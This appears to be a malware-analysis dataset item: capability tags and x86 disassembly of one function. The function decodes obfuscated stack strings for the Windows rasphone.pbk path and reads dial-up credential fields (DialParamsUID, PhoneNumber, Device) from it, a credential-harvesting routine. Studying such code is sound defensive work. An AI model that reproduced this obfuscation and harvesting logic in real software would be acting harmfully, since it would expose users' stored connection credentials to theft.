Function at 0x402650
Capabilities:
Check os version
Contain obfuscated stackstrings
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x850
push ebx
push esi
mov esi, ecx
mov al, 0x6f
mov cl, 0x6e
mov dl, 0x74
mov ebx, 0x5c
push edi
mov byte [ebp - 0x1c], 0x44
mov byte [ebp - 0x1b], al
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x19], 0x75
mov byte [ebp - 0x18], 0x6d
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], cl
mov byte [ebp - 0x15], dl
mov byte [ebp - 0x14], 0x73
mov byte [ebp - 0x13], 0x20
mov byte [ebp - 0x12], 0x61
mov byte [ebp - 0x11], cl
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xf], 0x20
mov byte [ebp - 0xe], 0x53
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], dl
mov byte [ebp - 0xb], dl
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], cl
mov byte [ebp - 8], 0x67
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], bl
mov byte [ebp - 5], 0
mov byte [ebp - 0x90], bl
mov byte [ebp - 0x8f], 0x41
mov byte [ebp - 0x8e], 0x70
mov byte [ebp - 0x8d], 0x70
mov byte [ebp - 0x8c], 0x6c
mov byte [ebp - 0x8b], 0x69
mov byte [ebp - 0x8a], 0x63
mov byte [ebp - 0x89], 0x61
mov byte [ebp - 0x88], dl
mov byte [ebp - 0x87], 0x69
mov byte [ebp - 0x86], al
mov byte [ebp - 0x85], cl
mov byte [ebp - 0x84], 0x20
mov byte [ebp - 0x83], 0x44
mov byte [ebp - 0x82], 0x61
mov byte [ebp - 0x81], dl
mov byte [ebp - 0x80], 0x61
mov byte [ebp - 0x7f], bl
mov byte [ebp - 0x7e], 0x4d
mov byte [ebp - 0x7d], 0x69
mov byte [ebp - 0x7c], 0x63
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], al
mov byte [ebp - 0x79], 0x73
mov byte [ebp - 0x78], al
mov byte [ebp - 0x77], 0x66
mov byte [ebp - 0x76], dl
mov byte [ebp - 0x75], bl
mov byte [ebp - 0x74], 0x4e
mov byte [ebp - 0x73], 0x65
mov byte [ebp - 0x72], dl
mov byte [ebp - 0x71], 0x77
mov byte [ebp - 0x70], al
mov byte [ebp - 0x6f], 0x72
mov byte [ebp - 0x6e], 0x6b
mov byte [ebp - 0x6d], bl
mov byte [ebp - 0x6c], 0x43
mov byte [ebp - 0x6b], al
mov byte [ebp - 0x6a], cl
mov byte [ebp - 0x69], cl
mov byte [ebp - 0x68], 0x65
mov byte [ebp - 0x67], 0x63
mov byte [ebp - 0x66], dl
mov byte [ebp - 0x65], 0x69
mov byte [ebp - 0x64], al
mov byte [ebp - 0x63], cl
mov byte [ebp - 0x62], 0x73
mov byte [ebp - 0x61], bl
mov byte [ebp - 0x60], 0x70
mov byte [ebp - 0x5f], 0x62
mov byte [ebp - 0x5e], 0x6b
mov byte [ebp - 0x5d], bl
mov byte [ebp - 0x5c], 0x72
mov byte [ebp - 0x5b], 0x61
mov byte [ebp - 0x5a], 0x73
mov byte [ebp - 0x59], 0x70
mov byte [ebp - 0x58], 0x68
mov byte [ebp - 0x57], al
mov byte [ebp - 0x56], cl
mov byte [ebp - 0x55], 0x65
mov byte [ebp - 0x54], 0x2e
mov byte [ebp - 0x53], 0x70
mov byte [ebp - 0x52], 0x62
mov byte [ebp - 0x51], 0x6b
mov byte [ebp - 0x50], 0
mov byte [ebp - 0x4c], 0x4d
mov byte [ebp - 0x4b], 0x69
mov byte [ebp - 0x4a], 0x63
mov byte [ebp - 0x49], 0x72
mov byte [ebp - 0x48], al
mov byte [ebp - 0x47], 0x73
mov byte [ebp - 0x46], al
mov byte [ebp - 0x45], 0x66
mov byte [ebp - 0x44], dl
mov byte [ebp - 0x43], bl
mov byte [ebp - 0x42], 0x4e
mov byte [ebp - 0x41], 0x65
mov byte [ebp - 0x40], dl
mov byte [ebp - 0x3f], 0x77
mov byte [ebp - 0x3e], al
mov byte [ebp - 0x3d], 0x72
mov byte [ebp - 0x3c], 0x6b
mov byte [ebp - 0x3b], bl
mov byte [ebp - 0x3a], 0x43
mov byte [ebp - 0x39], al
mov byte [ebp - 0x38], cl
mov byte [ebp - 0x37], cl
mov byte [ebp - 0x36], 0x65
mov byte [ebp - 0x35], 0x63
mov byte [ebp - 0x34], dl
mov byte [ebp - 0x33], 0x69
mov byte [ebp - 0x32], al
mov byte [ebp - 0x31], cl
mov byte [ebp - 0x30], 0x73
mov byte [ebp - 0x2f], bl
mov byte [ebp - 0x2e], 0x70
mov byte [ebp - 0x2d], 0x62
mov byte [ebp - 0x2c], 0x6b
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x61
mov byte [ebp - 0x28], 0x73
mov byte [ebp - 0x27], 0x70
mov byte [ebp - 0x26], 0x68
mov byte [ebp - 0x25], al
mov byte [ebp - 0x24], cl
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x2e
mov byte [ebp - 0x21], 0x70
mov byte [ebp - 0x20], 0x62
mov byte [ebp - 0x1f], 0x6b
mov byte [ebp - 0x1e], 0
nop
nop
nop
nop
nop
nop
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call edi
lea eax, [ebp - 0x248]
push 0x105
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x248]
push ecx
push ebx
push edx
call sub.MSVCRT.dll_strchr
add esp, 8
inc eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esi + 0x14]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x248]
push eax
push ecx
call ebx
lea edx, [ebp - 0x90]
lea eax, [ebp - 0x248]
push edx
push eax
call ebx
push 0
lea ecx, [ebp - 0x350]
push 0x23
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edx, [ebp - 0x4c]
lea eax, [ebp - 0x350]
push edx
push eax
lea ecx, [ebp - 0x350]
push 0x418038
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
nop
nop
nop
nop
nop
nop
push 0
call edi
lea edx, [ebp - 0x248]
lea eax, [ebp - 0x350]
mov dword [ebp - 0xac], edx
mov dword [ebp - 0xa8], eax
nop
nop
nop
nop
nop
nop
push 0
call edi
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x140], 0x94
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
nop
nop
nop
nop
nop
nop
push 0
call edi
cmp dword [ebp - 0x130], 2
jne 0x402983
cmp dword [ebp - 0x13c], 5
jb 0x402983
mov ecx, esi
call fcn.004023e0
nop
nop
nop
nop
nop
nop
push 0
call edi
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
lea edx, [ebp - 0xac]
add esp, 4
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x98], edx
mov dword [ebp - 0x9c], 2
jmp 0x4029c0
mov ebx, dword [ebp - 0x94]
mov ecx, 0x400
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
push eax
push 0x1000
push ebx
mov dword [ebp - 0xa4], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov ecx, dword [ebp - 0x94]
cmp byte [ecx], 0
je 0x402bc7
push ebx
mov ecx, esi
call fcn.00402c10
mov dword [ebp - 0xa0], eax
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x450]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x650]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x750]
mov edx, dword [ebp - 0xa4]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x550]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x850]
rep stosd dword es:[edi], eax
push edx
lea eax, [ebp - 0x450]
push pe_nt_image_headers32
push eax
push 0
push str.DialParamsUID
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jle 0x402b05
mov eax, dword [esi + 0x10]
xor edi, edi
test eax, eax
mov dword [ebp - 4], edi
jle 0x402b05
mov dword [ebp - 4], edi
mov ecx, dword [ebp - 4]
mov eax, dword [esi + 0x1c]
add ecx, eax
lea edx, [ebp - 0x450]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x402ab5
mov ecx, dword [ebp - 4]
mov eax, dword [esi + 0x10]
inc edi
add ecx, 0x301
cmp edi, eax
mov dword [ebp - 4], ecx
jl 0x402a82
mov dword [ebp - 4], edi
jmp 0x402b05
mov dword [ebp - 4], edi
lea edi, [edi + edi*2]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x650]
shl edi, 8
add edi, eax
mov eax, dword [esi + 0x1c]
lea ecx, [edi + eax + 0x200]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esi + 0x1c]
lea edx, [ebp - 0x750]
lea ecx, [edi + eax + 0x100]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esi + 0x1c]
mov byte [edi + eax + 0x300], 1
mov eax, dword [esi + 8]
inc eax
mov dword [esi + 8], eax
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [ebp - 0xa4]
lea ecx, [ebp - 0x550]
push edi
push pe_nt_image_headers32
push ecx
push 0
push str.PhoneNumber
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push edi
lea edx, [ebp - 0x850]
push pe_nt_image_headers32
push edx
push 0
push str.Device
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x850]
mov ecx, esi
push eax
call fcn.00402c10
lea ecx, [ebp - 0x650]
mov edi, eax
push ecx
mov ecx, esi
call fcn.00402c10
lea edx, [ebp - 0x550]
push edi
lea ecx, [ebp - 0x750]
push edx
mov edx, dword [ebp - 0xa0]
push ecx
mov dword [ebp - 4], eax
push eax
lea eax, [ebp - 0x450]
push edx
push eax
mov ecx, esi
call fcn.00402c90
mov ecx, dword [ebp - 0xa0]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov edx, dword [ebp - 4]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebx, [ebx + eax + 1]
cmp byte [ebx], 0
jne 0x4029f5
mov ecx, dword [ebp - 0x98]
mov eax, dword [ebp - 0x9c]
add ecx, 4
dec eax
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x9c], eax
jne 0x4029ba
mov eax, dword [ebp - 0x94]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret